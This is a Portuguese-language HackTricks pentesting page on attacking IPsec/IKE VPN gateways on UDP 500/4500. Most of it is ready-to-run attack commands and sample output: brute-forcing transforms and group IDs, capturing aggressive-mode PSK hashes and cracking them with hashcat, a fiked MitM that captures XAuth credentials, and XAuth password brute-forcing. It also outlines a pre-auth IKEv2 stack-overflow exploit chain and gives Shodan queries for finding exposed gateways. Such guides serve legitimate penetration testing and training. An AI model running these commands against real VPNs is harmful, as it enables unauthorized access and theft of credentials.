500/udp - Pentesting IPsec/IKE VPN

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

IPsec é amplamente reconhecido como a principal tecnologia para proteger comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway da rede (remote access), servindo como a espinha dorsal das soluções VPN empresariais.

O estabelecimento de uma security association (SA) entre dois pontos é gerenciado pelo IKE, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo ocorre em várias fases:

  • Phase 1: Um canal seguro é criado entre dois endpoints. Isso é obtido através do uso de um Pre-Shared Key (PSK) ou certificados, empregando main mode, que envolve três pares de mensagens, ou aggressive mode.
  • Phase 1.5: Embora não seja obrigatória, essa fase, conhecida como Extended Authentication Phase, verifica a identidade do usuário que tenta conectar-se exigindo nome de usuário e senha.
  • Phase 2: Esta fase é dedicada a negociar os parâmetros para proteger os dados com ESP e AH. Permite o uso de algoritmos diferentes dos da Phase 1 para assegurar Perfect Forward Secrecy (PFS), aumentando a segurança.

Porta padrão: 500/udp

Também comumente exposto: 4500/udp (NAT Traversal)

Descubra o serviço usando nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Encontrando uma transformação válida

A configuração do IPSec pode estar preparada para aceitar apenas uma ou poucas transformações. Uma transformação é uma combinação de valores. Cada transformação contém vários atributos como DES ou 3DES como o algoritmo de criptografia, SHA ou MD5 como o algoritmo de integridade, uma pre-shared key como o tipo de autenticação, Diffie-Hellman 1 ou 2 como o algoritmo de distribuição de chaves e 28800 segundos como o tempo de vida.

Então, a primeira coisa que você tem que fazer é encontrar uma transformação válida, para que o servidor converse com você. Para isso, você pode usar a ferramenta ike-scan. Por padrão, ike-scan funciona em main mode e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposal com oito transformações dentro dela.

Dependendo da resposta você pode obter algumas informações sobre o endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Como pode ver na resposta anterior, existe um campo chamado AUTH com o valor PSK. Isso significa que a VPN está configurada usando uma preshared key (e isso é realmente bom para um pentester).
O valor da última linha também é muito importante:

  • 0 returned handshake; 0 returned notify: Isso significa que o alvo é not an IPsec gateway.
  • 1 returned handshake; 0 returned notify: Isso significa que o target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable (a valid transform will be shown in the output).
  • 0 returned handshake; 1 returned notify: VPN gateways respond with a notify message when none of the transforms are acceptable (though some gateways do not, in which case further analysis and a revised proposal should be tried).

Então, neste caso já temos uma valid transformation, mas se você estiver no 3º caso, então precisa fazer um pequeno brute-force para encontrar uma valid transformation:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Em seguida, brute-force cada um usando ike-scan (isso pode levar vários minutos):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Se o brute-force não funcionou, talvez o servidor esteja respondendo sem handshakes mesmo para transforms válidos. Então você pode tentar o mesmo brute-force usando aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espero que uma transformação válida seja retornada.
Você pode tentar o mesmo ataque usando iker.py.
Você também pode tentar brute force as transformações com ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Em DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

A Cisco indica evitar o uso dos DH groups 1 e 2 porque não são fortes o suficiente. Especialistas acreditam que países com muitos recursos podem facilmente quebrar a criptografia de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar as cifras rapidamente. Apesar do alto custo para montar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiverem usando um grupo fraco (como 1,024-bit ou menor).

Server fingerprinting

Então, você pode usar ike-scan para tentar descobrir o fabricante do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela irá analisar a diferença de tempo entre as mensagens recebidas do servidor e o padrão de resposta correspondente; o pentester pode fingerprintar com sucesso o vendor do gateway VPN. Além disso, alguns servidores VPN usam o payload opcional Vendor ID (VID) com IKE.

Especifique a transformação válida se necessário (usando –trans)

Se o IKE descobrir qual é o fabricante, ele irá exibi-lo:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Também é possível usar o script do nmap ike-version

Específico do IKEv2: WatchGuard Vendor ID version fingerprinting

Alguns daemons IKEv2 incluem Vendor ID payloads não padrão na resposta IKE_SA_INIT. O WatchGuard Fireware OS codifica a versão/build do appliance diretamente dentro do VID, permitindo single-packet, pre-auth fingerprinting.

  • Transporte: UDP/500 (e UDP/4500 para NAT-T)
  • Pacote: a resposta IKE_SA_INIT contém um ou mais Vendor ID payloads
  • Formato WatchGuard: hash de 32 bytes seguido por base64 que decodifica para, por exemplo, VN=12.11.3 BN=719894

Exemplo de bytes brutos de um WatchGuard VID payload (os últimos 12 bytes são base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Extração rápida em um shell quando você tem a base64 tail:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notas

  • Isto não faz parte de nenhum RFC do IKEv2. Trate isso como uma peculiaridade do fornecedor para escopo rápido de versões expostas/vulneráveis do Fireware OS.
  • Você só precisa elicitar uma resposta IKE_SA_INIT; nenhuma autenticação é necessária.

Encontrando o ID correto (nome do grupo)

Para poder capturar o hash você precisa de uma transformação válida que suporte Aggressive mode e o ID correto (nome do grupo). Provavelmente você não saberá o nome de grupo válido, então você terá que fazer brute-force.\ Para isso, recomendo 2 métodos:

Bruteforcing ID with ike-scan

Primeiro, tente fazer uma requisição com um ID falso tentando coletar o hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Se nenhum hash for retornado, então provavelmente este método de brute forcing vai funcionar. Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável para brute-force do ID. Por exemplo, um hash falso pode ser retornado (isso acontece em versões modernas):

Mas, como eu disse, se nenhum hash for retornado, então você deve tentar brute-force nomes de grupo comuns usando ike-scan.

Este script vai tentar brute-force possíveis IDs e irá retornar os IDs onde um handshake válido é retornado (isso será um nome de grupo válido).

Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma funcione corretamente).

Você pode usar o dicionário do ikeforce ou o disponível no seclists de nomes de grupo comuns para brute-force:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Bruteforcing ID with Iker

iker.py também usa ike-scan para bruteforce de possíveis nomes de grupo. Ele segue seu próprio método para encontrar um ID válido com base na saída do ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py é uma ferramenta que também pode ser usada para brute force de IDs. Esta ferramenta irá tentar explorar diferentes vulnerabilidades que podem ser usadas para distinguir entre um ID válido e um não-válido (podendo ter falsos positivos e falsos negativos, por isso prefiro usar o método do ike-scan quando possível).

Por padrão ikeforce irá enviar no início alguns ids aleatórios para verificar o comportamento do servidor e determinar a tática a usar.

  • O primeiro método é fazer brute-force nos nomes de grupo procurando pela informação Dead Peer Detection DPD dos sistemas Cisco (esta informação só é retornada pelo servidor se o nome do grupo estiver correto).
  • O segundo método disponível é verificar o número de respostas enviadas para cada tentativa porque às vezes mais pacotes são enviados quando o id correto é usado.
  • O terceiro método consiste em procurar por “INVALID-ID-INFORMATION” em resposta a um ID incorreto.
  • Finalmente, se o servidor não responder a nenhuma das verificações, ikeforce irá tentar brute-force no servidor e verificar se quando o id correto é enviado o servidor responde com algum pacote.
    Obviamente, o objetivo de brute-force do id é obter o PSK quando você tem um id válido. Então, com o id e o PSK você terá que brute-forcear o XAUTH (se estiver habilitado).

Se você descobriu uma transformação específica adicione-a no comando do ikeforce. E se você descobriu várias transformações sinta-se à vontade para adicionar um novo loop para testá-las todas (você deve testá-las até que uma funcione corretamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Do livro Network Security Assessment: Know Your Network): Também é possível obter nomes de usuário válidos ao sniffing da conexão entre o cliente VPN e o servidor, já que o primeiro pacote em Aggressive Mode contendo o client ID é enviado in the clear

Aggressive Mode identity leakage

Aggressive Mode deve enviar o ID cedo para que o gateway possa escolher o PSK correto quando multiple groups/users existirem. Isso significa que a identity is exposed pre-auth, ao contrário do Main Mode, onde é criptografada em pacotes posteriores. Você pode extraí-la rapidamente:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Se Aggressive Mode estiver ativado, capture um PSK handshake crackable e crack it offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

PSKs recuperados são frequentemente reutilizados como credenciais para outros serviços (SSH, VPN client auth), então teste-os contra serviços expostos.

Capturando & cracking do hash

Finalmente, se você tiver encontrado uma transformação válida e o nome do grupo, e se o aggressive mode estiver permitido, então você pode muito facilmente obter o crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

O hash será salvo dentro de hash.txt.

Você pode usar psk-crack, john (usando ikescan2john.py) e hashcat para crack o hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combinado com uma Pre-Shared Key (PSK) é comumente empregado para fins de autenticação de grupo. Esse método é complementado por XAuth (Extended Authentication), que adiciona uma camada adicional de autenticação de usuário. Essa autenticação normalmente utiliza serviços como Microsoft Active Directory, RADIUS, ou sistemas semelhantes.

Na transição para IKEv2, observa-se uma mudança notável em que EAP (Extensible Authentication Protocol) é utilizado em vez de XAuth para autenticar usuários. Essa mudança ressalta uma evolução nas práticas de autenticação dentro dos protocolos de comunicação segura.

MitM na rede local para capturar credenciais

Você pode capturar os dados do login usando fiked e verificar se existe algum nome de usuário padrão (É preciso redirecionar o IKE traffic para fiked para sniffing, o que pode ser feito com a ajuda de ARP spoofing, more info). Fiked atuará como um VPN endpoint e capturará as XAuth credentials:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Além disso, usando IPSec tente realizar um ataque MitM e bloquear todo o tráfego para a porta 500; se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em claro.

Brute-forcing XAUTH username e password com ikeforce

Para brute force o XAUTH (quando você conhece um group name válido id e o psk) você pode usar um username ou uma lista de usernames e uma lista de passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Dessa forma, ikeforce tentará conectar usando cada combinação de username:password.

Se você encontrou um ou vários transforms válidos, apenas use-os como nos passos anteriores.

Autenticação com uma VPN IPSEC

No Kali, VPNC é utilizado para estabelecer túneis IPsec. Os perfis devem estar localizados no diretório /etc/vpnc/. Você pode iniciar esses perfis usando o comando vpnc.

Os comandos e configurações a seguir ilustram o processo de configurar uma conexão VPN com VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • Replace [VPN_GATEWAY_IP] with the actual IP address of the VPN gateway.
  • Replace [VPN_CONNECTION_ID] with the identifier for the VPN connection.
  • Replace [VPN_GROUP_SECRET] with the VPN’s group secret.
  • Replace [VPN_USERNAME] and [VPN_PASSWORD] with the VPN authentication credentials.
  • [PID] symbolizes the process ID that will be assigned when vpnc initiates.

Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Aparelhos VPN modernos frequentemente expõem IKEv2 em UDP/500 (e UDP/4500 para NAT-T). Uma superfície de ataque comum pré-autenticação é a análise dos payloads de Identification (IDi) e Certificate durante IKE_SA_AUTH.

Fluxo de exploração em alto nível quando existe um parser IKEv2 vulnerável:

  • Envie um IKE_SA_INIT válido para negociar transforms e completar o Diffie–Hellman.
  • Em seguida, envie um IKE_SA_AUTH contendo um IDi que aciona o bug (por exemplo, uma Identification de tamanho excessivo copiada para um buffer de pilha de tamanho fixo antes da validação do certificado).
  • A corrupção de memória resultante pode conceder controle sobre registradores salvos e o endereço de retorno.
  • Com NX habilitado mas outras mitigações ausentes (sem PIE/canaries), construa uma cadeia ROP para chamar mprotect em uma página da pilha e então pivotar a execução para shellcode injetado ou para um interpretador residente (por exemplo, /usr/bin/python3) se /bin/sh não estiver disponível.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Practical tips

  • Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
  • Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
  • If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks